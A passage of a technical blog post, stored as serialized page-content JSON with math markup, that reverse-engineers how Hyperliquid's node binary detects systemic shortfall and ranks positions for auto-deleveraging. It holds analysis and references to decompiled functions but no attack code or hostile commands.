bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":32,"props":161050,"children":161051},{},[161052,161054,161059],{"type":29,"value":161053},"When that happens, the exchange is basically left with a ",{"type":23,"tag":4321,"props":161055,"children":161056},{},[161057],{"type":29,"value":161058},"hot potato",{"type":29,"value":161060}," to get rid of: what should it even do with the debt?",{"type":23,"tag":37429,"props":161062,"children":161064},{"id":161063},"the-risk-engine",[161065],{"type":29,"value":161066},"The Risk Engine",{"type":23,"tag":32,"props":161068,"children":161069},{},[161070],{"type":29,"value":161071},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":24,"props":161073,"children":161075},{"id":161074},"clearing-up-bad-debt",[161076],{"type":29,"value":161077},"Clearing Up Bad Debt",{"type":23,"tag":32,"props":161079,"children":161080},{},[161081,161082,161089],{"type":29,"value":18661},{"type":23,"tag":68,"props":161083,"children":161086},{"href":161084,"rel":161085},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[72],[161087],{"type":29,"value":161088},"Hyperliquid docs",{"type":29,"value":161090}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":32,"props":161092,"children":161093},{},[161094,161096,161107,161109,161115,161117,161123],{"type":29,"value":161095},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":68,"props":161097,"children":161100},{"href":161098,"rel":161099},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[72],[161101],{"type":23,"tag":154,"props":161102,"children":161104},{"className":161103},[],[161105],{"type":29,"value":161106},"Clearinghouse",{"type":29,"value":161108},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":154,"props":161110,"children":161112},{"className":161111},[],[161113],{"type":29,"value":161114},"Exchange",{"type":29,"value":161116}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":154,"props":161118,"children":161120},{"className":161119},[],[161121],{"type":29,"value":161122},"MessagePack",{"type":29,"value":161124}," at runtime.",{"type":23,"tag":32,"props":161126,"children":161127},{},[161128],{"type":29,"value":161129},"This data will come in handy both for us and the agent.",{"type":23,"tag":161131,"props":161132,"children":161134},"file-download",{"path":161133},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":32,"props":161136,"children":161137},{},[161138,161140,161145],{"type":29,"value":161139},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":154,"props":161141,"children":161143},{"className":161142},[],[161144],{"type":29,"value":161106},{"type":29,"value":161146},". Some renaming later, we can infer something like this:",{"type":23,"tag":160825,"props":161148,"children":161152},{"source":161149,"target":161150,"direction":161151},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":32,"props":161154,"children":161155},{},[161156,161158,161163,161165,161171],{"type":29,"value":161157},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":154,"props":161159,"children":161161},{"className":161160},[],[161162],{"type":29,"value":161150},{"type":29,"value":161164},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":154,"props":161166,"children":161168},{"className":161167},[],[161169],{"type":29,"value":161170},"exchange_end_block",{"type":29,"value":161172},". So, at the end of each block we run some checks.",{"type":23,"tag":160794,"props":161174,"children":161175},{},[161176],{"type":23,"tag":32,"props":161177,"children":161178},{},[161179],{"type":29,"value":161180},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":32,"props":161182,"children":161183},{},[161184,161186,161192],{"type":29,"value":161185},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":154,"props":161187,"children":161189},{"className":161188},[],[161190],{"type":29,"value":161191},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":161193}," flag.",{"type":23,"tag":160825,"props":161195,"children":161199},{"addr":161196,"line-start":161197,"line-end":161198},"0x555556ac3850","3290","3301",[],{"type":23,"tag":32,"props":161201,"children":161202},{},[161203,161205,161210],{"type":29,"value":161204},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":154,"props":161206,"children":161208},{"className":161207},[],[161209],{"type":29,"value":161106},{"type":29,"value":5195},{"type":23,"tag":320,"props":161212,"children":161214},{"id":161213},"threshold-condition",[161215],{"type":29,"value":161216},"Threshold Condition",{"type":23,"tag":32,"props":161218,"children":161219},{},[161220,161222,161227],{"type":29,"value":161221},"The natural connection between liquidations and ADL is ",{"type":23,"tag":4321,"props":161223,"children":161224},{},[161225],{"type":29,"value":161226},"shortfall",{"type":29,"value":161228},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":32,"props":161230,"children":161231},{},[161232],{"type":29,"value":161233},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":20944,"props":161235,"children":161237},{"id":161236},"who-is-underwater",[161238],{"type":29,"value":161239},"Who Is Underwater?",{"type":23,"tag":32,"props":161241,"children":161242},{},[161243,161245,161250,161252,161258],{"type":29,"value":161244},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":154,"props":161246,"children":161248},{"className":161247},[],[161249],{"type":29,"value":161150},{"type":29,"value":161251},", starting from all user positions, which are stored in ",{"type":23,"tag":154,"props":161253,"children":161255},{"className":161254},[],[161256],{"type":29,"value":161257},"clearinghouse.user_states",{"type":29,"value":161259},", as we can also see from the serialization.",{"type":23,"tag":160794,"props":161261,"children":161262},{},[161263],{"type":23,"tag":32,"props":161264,"children":161265},{},[161266],{"type":29,"value":161267},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":160825,"props":161269,"children":161273},{"source":161270,"target":161170,"direction":161271,"path":161272},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":32,"props":161275,"children":161276},{},[161277,161278,161283,161285,161291,161293,161299,161301,161307],{"type":29,"value":18661},{"type":23,"tag":154,"props":161279,"children":161281},{"className":161280},[],[161282],{"type":29,"value":161270},{"type":29,"value":161284}," essentially turns that into an ",{"type":23,"tag":154,"props":161286,"children":161288},{"className":161287},[],[161289],{"type":29,"value":161290},"Iter",{"type":29,"value":161292},", then, inside of ",{"type":23,"tag":154,"props":161294,"children":161296},{"className":161295},[],[161297],{"type":29,"value":161298},"build_adl_candidate_set",{"type":29,"value":161300}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":154,"props":161302,"children":161304},{"className":161303},[],[161305],{"type":29,"value":161306},"AdlIterEntry",{"type":29,"value":60387},{"type":23,"tag":160825,"props":161309,"children":161311},{"type-name":161310},"AdlIterContext",[],{"type":23,"tag":32,"props":161313,"children":161314},{},[161315,161317,161323,161325,161331,161333,161339,161341,161346],{"type":29,"value":161316},"Note that in storage, ",{"type":23,"tag":154,"props":161318,"children":161320},{"className":161319},[],[161321],{"type":29,"value":161322},"Isolated",{"type":29,"value":161324}," positions have their own independent ",{"type":23,"tag":154,"props":161326,"children":161328},{"className":161327},[],[161329],{"type":29,"value":161330},"Entry",{"type":29,"value":161332}," in the position iterators, and ",{"type":23,"tag":154,"props":161334,"children":161336},{"className":161335},[],[161337],{"type":29,"value":161338},"Cross",{"type":29,"value":161340}," positions have a single common ",{"type":23,"tag":154,"props":161342,"children":161344},{"className":161343},[],[161345],{"type":29,"value":161330},{"type":29,"value":161347},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":160825,"props":161349,"children":161352},{"addr":161350,"line-start":46315,"line-end":161351},"0x555556266b10","163",[],{"type":23,"tag":32,"props":161354,"children":161355},{},[161356],{"type":29,"value":161357},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":160825,"props":161359,"children":161362},{"addr":161196,"line-start":161360,"line-end":161361},"506","527",[],{"type":23,"tag":32,"props":161364,"children":161365},{},[161366,161368],{"type":29,"value":161367},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":161369,"props":161370,"children":161373},"bndb-xref",{"lines":161371,"addrs":161372},"1-2","0x555556ac3e18-0x555556ac3e18",[161374],{"type":29,"value":161375},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":32,"props":161377,"children":161378},{},[161379,161381,161387,161389,161395,161397,161403,161405,161411],{"type":29,"value":161380},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":154,"props":161382,"children":161384},{"className":161383},[],[161385],{"type":29,"value":161386},"only_isolated",{"type":29,"value":161388}," (or ",{"type":23,"tag":154,"props":161390,"children":161392},{"className":161391},[],[161393],{"type":29,"value":161394},"strict_isolated",{"type":29,"value":161396}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":154,"props":161398,"children":161400},{"className":161399},[],[161401],{"type":29,"value":161402},"deferred_queue",{"type":29,"value":161404},", which triggers ADL regardless of the system's ",{"type":23,"tag":154,"props":161406,"children":161408},{"className":161407},[],[161409],{"type":29,"value":161410},"total_shortfall",{"type":29,"value":161412},". This is dictated by this branch.",{"type":23,"tag":160825,"props":161414,"children":161417},{"addr":161196,"line-start":161415,"line-end":161416},"211","243",[],{"type":23,"tag":32,"props":161419,"children":161420},{},[161421,161423,161430],{"type":29,"value":161422},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":68,"props":161424,"children":161427},{"href":161425,"rel":161426},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[72],[161428],{"type":29,"value":161429},"March 2025 incident",{"type":29,"value":161431},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":20944,"props":161433,"children":161435},{"id":161434},"how-do-we-get-rid-of-debt",[161436],{"type":29,"value":161437},"How Do We Get Rid of Debt?",{"type":23,"tag":32,"props":161439,"children":161440},{},[161441],{"type":29,"value":161442},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":32,"props":161444,"children":161445},{},[161446,161448,161453,161455,161460,161462,161467],{"type":29,"value":161447},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":154,"props":161449,"children":161451},{"className":161450},[],[161452],{"type":29,"value":161402},{"type":29,"value":161454}," is overwritten by all the users marked by ",{"type":23,"tag":154,"props":161456,"children":161458},{"className":161457},[],[161459],{"type":29,"value":161298},{"type":29,"value":161461},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":154,"props":161463,"children":161465},{"className":161464},[],[161466],{"type":29,"value":161394},{"type":29,"value":161468}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":160794,"props":161470,"children":161471},{},[161472],{"type":23,"tag":32,"props":161473,"children":161474},{},[161475],{"type":29,"value":161476},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":160825,"props":161478,"children":161481},{"addr":161196,"line-start":161479,"line-end":161480},"523","526",[],{"type":23,"tag":32,"props":161483,"children":161484},{},[161485,161487,161493,161495,161501,161503,161508],{"type":29,"value":161486},"For each underwater position, we do a ",{"type":23,"tag":161369,"props":161488,"children":161490},{"addrs":161489},"0x555556ac42ad-0x555556ac42be",[161491],{"type":29,"value":161492},"B-tree lookup",{"type":29,"value":161494}," on ",{"type":23,"tag":154,"props":161496,"children":161498},{"className":161497},[],[161499],{"type":29,"value":161500},"clearinghouse.user_states[position.user]",{"type":29,"value":161502},", adding them to a ",{"type":23,"tag":154,"props":161504,"children":161506},{"className":161505},[],[161507],{"type":29,"value":19259},{"type":29,"value":161509}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":160825,"props":161511,"children":161514},{"addr":161196,"line-start":161512,"line-end":161513},"635","658",[],{"type":23,"tag":32,"props":161516,"children":161517},{},[161518],{"type":29,"value":161519},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":4743,"props":161521,"children":161522},{},[161523],{"type":23,"tag":154,"props":161524,"children":161526},{"className":161525},[500,160853],[161527],{"type":23,"tag":504,"props":161528,"children":161530},{"className":161529},[160858],[161531],{"type":23,"tag":504,"props":161532,"children":161534},{"className":161533},[507],[161535],{"type":23,"tag":504,"props":161536,"children":161538},{"className":161537,"ariaHidden":513},[512],[161539],{"type":23,"tag":504,"props":161540,"children":161542},{"className":161541},[518],[161543,161548],{"type":23,"tag":504,"props":161544,"children":161547},{"className":161545,"style":161546},[523],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":504,"props":161549,"children":161551},{"className":161550},[529],[161552],{"type":23,"tag":504,"props":161553,"children":161556},{"className":161554},[161555],"mtable",[161557,161637],{"type":23,"tag":504,"props":161558,"children":161561},{"className":161559},[161560],"col-align-r",[161562],{"type":23,"tag":504,"props":161563,"children":161565},{"className":161564},[671,672],[161566,161625],{"type":23,"tag":504,"props":161567,"children":161569},{"className":161568},[677],[161570,161620],{"type":23,"tag":504,"props":161571,"children":161574},{"className":161572,"style":161573},[682],"height:2.3452em;",[161575,161598],{"type":23,"tag":504,"props":161576,"children":161578},{"style":161577},"top:-4.3452em;",[161579,161584],{"type":23,"tag":504,"props":161580,"children":161583},{"className":161581,"style":161582},[692],"height:3.3944em;",[],{"type":23,"tag":504,"props":161585,"children":161587},{"className":161586},[529],[161588],{"type":23,"tag":504,"props":161589,"children":161591},{"className":161590},[529,29],[161592],{"type":23,"tag":504,"props":161593,"children":161595},{"className":161594},[529],[161596],{"type":29,"value":161597},"position_weight",{"type":23,"tag":504,"props":161599,"children":161601},{"style":161600},"top:-2.2092em;",[161602,161606],{"type":23,"tag":504,"props":161603,"children":161605},{"className":161604,"style":161582},[692],[],{"type":23,"tag":504,"props":161607,"children":161609},{"className":161608},[529],[161610],{"type":23,"tag":504,"props":161611,"children":161613},{"className":161612},[529,29],[161614],{"type":23,"tag":504,"props":161615,"children":161617},{"className":161616},[529],[161618],{"type":29,"value":161619},"position_adl_amount",{"type":23,"tag":504,"props":161621,"children":161623},{"className":161622},[712],[161624],{"type":29,"value":715},{"type":23,"tag":504,"props":161626,"children":161628},{"className":161627},[677],[161629],{"type":23,"tag":504,"props":161630,"children":161633},{"className":161631,"style":161632},[682],"height:1.8452em;",[161634],{"type":23,"tag":504,"props":161635,"children":161636},{},[],{"type":23,"tag":504,"props":161638,"children":161641},{"className":161639},[161640],"col-align-l",[161642],{"type":23,"tag":504,"props":161643,"children":161645},{"className":161644},[671,672],[161646,161847],{"type":23,"tag":504,"props":161647,"children":161649},{"className":161648},[677],[161650,161842],{"type":23,"tag":504,"props":161651,"children":161653},{"className":161652,"style":161573},[682],[161654,161782],{"type":23,"tag":504,"props":161655,"children":161656},{"style":161577},[161657,161661],{"type":23,"tag":504,"props":161658,"children":161660},{"className":161659,"style":161582},[692],[],{"type":23,"tag":504,"props":161662,"children":161664},{"className":161663},[529],[161665,161669,161673,161678,161682],{"type":23,"tag":504,"props":161666,"children":161668},{"className":161667},[529],[],{"type":23,"tag":504,"props":161670,"children":161672},{"className":161671,"style":538},[537],[],{"type":23,"tag":504,"props":161674,"children":161676},{"className":161675},[543],[161677],{"type":29,"value":546},{"type":23,"tag":504,"props":161679,"children":161681},{"className":161680,"style":538},[537],[],{"type":23,"tag":504,"props":161683,"children":161685},{"className":161684},[529],[161686,161690,161778],{"type":23,"tag":504,"props":161687,"children":161689},{"className":161688},[600,115344],[],{"type":23,"tag":504,"props":161691,"children":161693},{"className":161692},[115349],[161694],{"type":23,"tag":504,"props":161695,"children":161697},{"className":161696},[671,672],[161698,161766],{"type":23,"tag":504,"props":161699,"children":161701},{"className":161700},[677],[161702,161761],{"type":23,"tag":504,"props":161703,"children":161706},{"className":161704,"style":161705},[682],"height:1.3944em;",[161707,161728,161739],{"type":23,"tag":504,"props":161708,"children":161709},{"style":160935},[161710,161714],{"type":23,"tag":504,"props":161711,"children":161713},{"className":161712,"style":113997},[692],[],{"type":23,"tag":504,"props":161715,"children":161717},{"className":161716},[529],[161718],{"type":23,"tag":504,"props":161719,"children":161721},{"className":161720},[529,29],[161722],{"type":23,"tag":504,"props":161723,"children":161725},{"className":161724},[529],[161726],{"type":29,"value":161727},"total_cross_notional",{"type":23,"tag":504,"props":161729,"children":161730},{"style":115399},[161731,161735],{"type":23,"tag":504,"props":161732,"children":161734},{"className":161733,"style":113997},[692],[],{"type":23,"tag":504,"props":161736,"children":161738},{"className":161737,"style":115409},[115408],[],{"type":23,"tag":504,"props":161740,"children":161742},{"style":161741},"top:-3.7em;",[161743,161747],{"type":23,"tag":504,"props":161744,"children":161746},{"className":161745,"style":113997},[692],[],{"type":23,"tag":504,"props":161748,"children":161750},{"className":161749},[529],[161751],{"type":23,"tag":504,"props":161752,"children":161754},{"className":161753},[529,29],[161755],{"type":23,"tag":504,"props":161756,"children":161758},{"className":161757},[529],[161759],{"type":29,"value":161760},"position_notional",{"type":23,"tag":504,"props":161762,"children":161764},{"className":161763},[712],[161765],{"type":29,"value":715},{"type":23,"tag":504,"props":161767,"children":161769},{"className":161768},[677],[161770],{"type":23,"tag":504,"props":161771,"children":161774},{"className":161772,"style":161773},[682],"height:0.996em;",[161775],{"type":23,"tag":504,"props":161776,"children":161777},{},[],{"type":23,"tag":504,"props":161779,"children":161781},{"className":161780},[930,115344],[],{"type":23,"tag":504,"props":161783,"children":161784},{"style":161600},[161785,161789],{"type":23,"tag":504,"props":161786,"children":161788},{"className":161787,"style":161582},[692],[],{"type":23,"tag":504,"props":161790,"children":161792},{"className":161791},[529],[161793,161797,161801,161806,161810,161820,161824,161829,161833],{"type":23,"tag":504,"props":161794,"children":161796},{"className":161795},[529],[],{"type":23,"tag":504,"props":161798,"children":161800},{"className":161799,"style":538},[537],[],{"type":23,"tag":504,"props":161802,"children":161804},{"className":161803},[543],[161805],{"type":29,"value":546},{"type":23,"tag":504,"props":161807,"children":161809},{"className":161808,"style":538},[537],[],{"type":23,"tag":504,"props":161811,"children":161813},{"className":161812},[529,29],[161814],{"type":23,"tag":504,"props":161815,"children":161817},{"className":161816},[529],[161818],{"type":29,"value":161819},"user_shortfall",{"type":23,"tag":504,"props":161821,"children":161823},{"className":161822,"style":1426},[537],[],{"type":23,"tag":504,"props":161825,"children":161827},{"className":161826},[1431],[161828],{"type":29,"value":113088},{"type":23,"tag":504,"props":161830,"children":161832},{"className":161831,"style":1426},[537],[],{"type":23,"tag":504,"props":161834,"children":161836},{"className":161835},[529,29],[161837],{"type":23,"tag":504,"props":161838,"children":161840},{"className":161839},[529],[161841],{"type":29,"value":161597},{"type":23,"tag":504,"props":161843,"children":161845},{"className":161844},[712],[161846],{"type":29,"value":715},{"type":23,"tag":504,"props":161848,"children":161850},{"className":161849},[677],[161851],{"type":23,"tag":504,"props":161852,"children":161854},{"className":161853,"style":161632},[682],[161855],{"type":23,"tag":504,"props":161856,"children":161857},{},[],{"type":23,"tag":32,"props":161859,"children":161860},{},[161861],{"type":29,"value":161862},"We do that here:",{"type":23,"tag":160825,"props":161864,"children":161867},{"addr":161196,"line-start":161865,"line-end":161866},"828","981",[],{"type":23,"tag":32,"props":161869,"children":161870},{},[161871,161872,161878,161880,161886],{"type":29,"value":18661},{"type":23,"tag":161369,"props":161873,"children":161875},{"lines":161874},"77-79",[161876],{"type":29,"value":161877},"inner loop",{"type":29,"value":161879}," above spans all ",{"type":23,"tag":154,"props":161881,"children":161883},{"className":161882},[],[161884],{"type":29,"value":161885},"(asset_idx, direction)",{"type":29,"value":161887}," held in the cross margin position.",{"type":23,"tag":32,"props":161889,"children":161890},{},[161891,161893,161899,161901,161907,161908,161914],{"type":29,"value":161892},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":154,"props":161894,"children":161896},{"className":161895},[],[161897],{"type":29,"value":161898},"adl_output",{"type":29,"value":161900}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":154,"props":161902,"children":161904},{"className":161903},[],[161905],{"type":29,"value":161906},"position_id",{"type":29,"value":4478},{"type":23,"tag":154,"props":161909,"children":161911},{"className":161910},[],[161912],{"type":29,"value":161913},"position_shortfall",{"type":29,"value":357},{"type":23,"tag":160825,"props":161916,"children":161919},{"addr":161196,"line-start":161917,"line-end":161918},"2377","2469",[],{"type":23,"tag":32,"props":161921,"children":161922},{},[161923,161925,161931],{"type":29,"value":161924},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":154,"props":161926,"children":161928},{"className":161927},[],[161929],{"type":29,"value":161930},"(position_id, cut)",{"type":29,"value":161932},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":32,"props":161934,"children":161935},{},[161936,161938,161943],{"type":29,"value":161937},"The final phase of ",{"type":23,"tag":154,"props":161939,"children":161941},{"className":161940},[],[161942],{"type":29,"value":161150},{"type":29,"value":161944}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":160825,"props":161946,"children":161949},{"addr":161196,"addr-start":161947,"addr-end":161948},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":32,"props":161951,"children":161952},{},[161953],{"type":29,"value":161954},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":37429,"props":161956,"children":161958},{"id":161957},"who-do-we-deleverage",[161959],{"type":29,"value":161960},"Who Do We Deleverage?",{"type":23,"tag":32,"props":161962,"children":161963},{},[161964],{"type":29,"value":161965},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":32,"props":161967,"children":161968},{},[161969],{"type":29,"value":161970},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":32,"props":161972,"children":161973},{},[161974,161976,161983],{"type":29,"value":161975},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":68,"props":161977,"children":161980},{"href":161978,"rel":161979},"https://arxiv.org/abs/2512.01112",[72],[161981],{"type":29,"value":161982},"this paper",{"type":29,"value":161984},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":32,"props":161986,"children":161987},{},[161988],{"type":29,"value":161989},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":24,"props":161991,"children":161993},{"id":161992},"adl-score-computation",[161994],{"type":29,"value":161995},"ADL Score Computation",{"type":23,"tag":32,"props":161997,"children":161998},{},[161999,162001,162007,162009,162015,162017,162022],{"type":29,"value":162000},"The score function at ",{"type":23,"tag":154,"props":162002,"children":162004},{"className":162003},[],[162005],{"type":29,"value":162006},"compute_adl_ranking_score",{"type":29,"value":162008}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":154,"props":162010,"children":162012},{"className":162011},[],[162013],{"type":29,"value":162014},"Ord",{"type":29,"value":162016}," implementation on some 20-byte address representation. A ",{"type":23,"tag":154,"props":162018,"children":162020},{"className":162019},[],[162021],{"type":29,"value":19259},{"type":29,"value":162023}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":32,"props":162025,"children":162026},{},[162027,162029,162034,162036,162042,162044,162051,162053,162060],{"type":29,"value":162028},"Those sort routines are ",{"type":23,"tag":4321,"props":162030,"children":162031},{},[162032],{"type":29,"value":162033},"generated by the compiler",{"type":29,"value":162035},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":154,"props":162037,"children":162039},{"className":162038},[],[162040],{"type":29,"value":162041},".comment",{"type":29,"value":162043},", we may even manually ",{"type":23,"tag":68,"props":162045,"children":162048},{"href":162046,"rel":162047},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[72],[162049],{"type":29,"value":162050},"take advantage",{"type":29,"value":162052}," of this to recover the ",{"type":23,"tag":68,"props":162054,"children":162057},{"href":162055,"rel":162056},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[72],[162058],{"type":29,"value":162059},"exact source of library functions",{"type":29,"value":357},{"type":23,"tag":32,"props":162062,"children":162063},{},[162064,162066,162071],{"type":29,"value":162065},"Let's see how this ties back into the ",{"type":23,"tag":154,"props":162067,"children":162069},{"className":162068},[],[162070],{"type":29,"value":161150},{"type":29,"value":6533},{"type":23,"tag":160825,"props":162073,"children":162075},{"source":161150,"target":162006,"direction":161151,"path":162074},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":32,"props":162077,"children":162078},{},[162079],{"type":29,"value":162080},"And here's the main call site used for sorting:",{"type":23,"tag":160825,"props":162082,"children":162085},{"addr":161196,"line-start":162083,"line-end":162084},"2806","2814",[],{"type":23,"tag":24,"props":162087,"children":162089},{"id":162088},"ratio-1-effective-leverage",[162090],{"type":29,"value":162091},"Ratio 1: Effective Leverage",{"type":23,"tag":4743,"props":162093,"children":162094},{},[162095],{"type":23,"tag":154,"props":162096,"children":162098},{"className":162097},[500,160853],[162099],{"type":23,"tag":504,"props":162100,"children":162102},{"className":162101},[160858],[162103],{"type":23,"tag":504,"props":162104,"children":162106},{"className":162105},[507],[162107],{"type":23,"tag":504,"props":162108,"children":162110},{"className":162109,"ariaHidden":513},[512],[162111,162142],{"type":23,"tag":504,"props":162112,"children":162114},{"className":162113},[518],[162115,162119,162129,162133,162138],{"type":23,"tag":504,"props":162116,"children":162118},{"className":162117,"style":116881},[523],[],{"type":23,"tag":504,"props":162120,"children":162122},{"className":162121},[529,29],[162123],{"type":23,"tag":504,"props":162124,"children":162126},{"className":162125},[529],[162127],{"type":29,"value":162128},"effective leverage",{"type":23,"tag":504,"props":162130,"children":162132},{"className":162131,"style":538},[537],[],{"type":23,"tag":504,"props":162134,"children":162136},{"className":162135},[543],[162137],{"type":29,"value":546},{"type":23,"tag":504,"props":162139,"children":162141},{"className":162140,"style":538},[537],[],{"type":23,"tag":504,"props":162143,"children":162145},{"className":162144},[518],[162146,162151],{"type":23,"tag":504,"props":162147,"children":162150},{"className":162148,"style":162149},[523],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":504,"props":162152,"children":162154},{"className":162153},[529],[162155,162159,162254],{"type":23,"tag":504,"props":162156,"children":162158},{"className":162157},[600,115344],[],{"type":23,"tag":504,"props":162160,"children":162162},{"className":162161},[115349],[162163],{"type":23,"tag":504,"props":162164,"children":162166},{"className":162165},[671,672],[162167,162242],{"type":23,"tag":504,"props":162168,"children":162170},{"className":162169},[677],[162171,162237],{"type":23,"tag":504,"props":162172,"children":162174},{"className":162173,"style":160931},[682],[162175,162196,162207],{"type":23,"tag":504,"props":162176,"children":162177},{"style":160935},[162178,162182],{"type":23,"tag":504,"props":162179,"children":162181},{"className":162180,"style":113997},[692],[],{"type":23,"tag":504,"props":162183,"children":162185},{"className":162184},[529],[162186],{"type":23,"tag":504,"props":162187,"children":162189},{"className":162188},[529,29],[162190],{"type":23,"tag":504,"props":162191,"children":162193},{"className":162192},[529],[162194],{"type":29,"value":162195},"account value",{"type":23,"tag":504,"props":162197,"children":162198},{"style":115399},[162199,162203],{"type":23,"tag":504,"props":162200,"children":162202},{"className":162201,"style":113997},[692],[],{"type":23,"tag":504,"props":162204,"children":162206},{"className":162205,"style":115409},[115408],[],{"type":23,"tag":504,"props":162208,"children":162209},{"style":160986},[162210,162214],{"type":23,"tag":504,"props":162211,"children":162213},{"className":162212,"style":113997},[692],[],{"type":23,"tag":504,"props":162215,"children":162217},{"className":162216},[529],[162218,162223,162232],{"type":23,"tag":504,"props":162219,"children":162221},{"className":162220},[529],[162222],{"type":29,"value":161001},{"type":23,"tag":504,"props":162224,"children":162226},{"className":162225},[529,29],[162227],{"type":23,"tag":504,"props":162228,"children":162230},{"className":162229},[529],[162231],{"type":29,"value":161011},{"type":23,"tag":504,"props":162233,"children":162235},{"className":162234},[529],[162236],{"type":29,"value":161001},{"type":23,"tag":504,"props":162238,"children":162240},{"className":162239},[712],[162241],{"type":29,"value":715},{"type":23,"tag":504,"props":162243,"children":162245},{"className":162244},[677],[162246],{"type":23,"tag":504,"props":162247,"children":162250},{"className":162248,"style":162249},[682],"height:0.686em;",[162251],{"type":23,"tag":504,"props":162252,"children":162253},{},[],{"type":23,"tag":504,"props":162255,"children":162257},{"className":162256},[930,115344],[],{"type":23,"tag":32,"props":162259,"children":162260},{},[162261,162263,162269,162271,162277,162278,162284,162286,162292],{"type":29,"value":162262},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":154,"props":162264,"children":162266},{"className":162265},[],[162267],{"type":29,"value":162268},"abs_notional",{"type":29,"value":162270}," (unsigned), and ",{"type":23,"tag":154,"props":162272,"children":162274},{"className":162273},[],[162275],{"type":29,"value":162276},"float.d(rbx)",{"type":29,"value":7546},{"type":23,"tag":154,"props":162279,"children":162281},{"className":162280},[],[162282],{"type":29,"value":162283},"account_value",{"type":29,"value":162285}," (signed); the division is 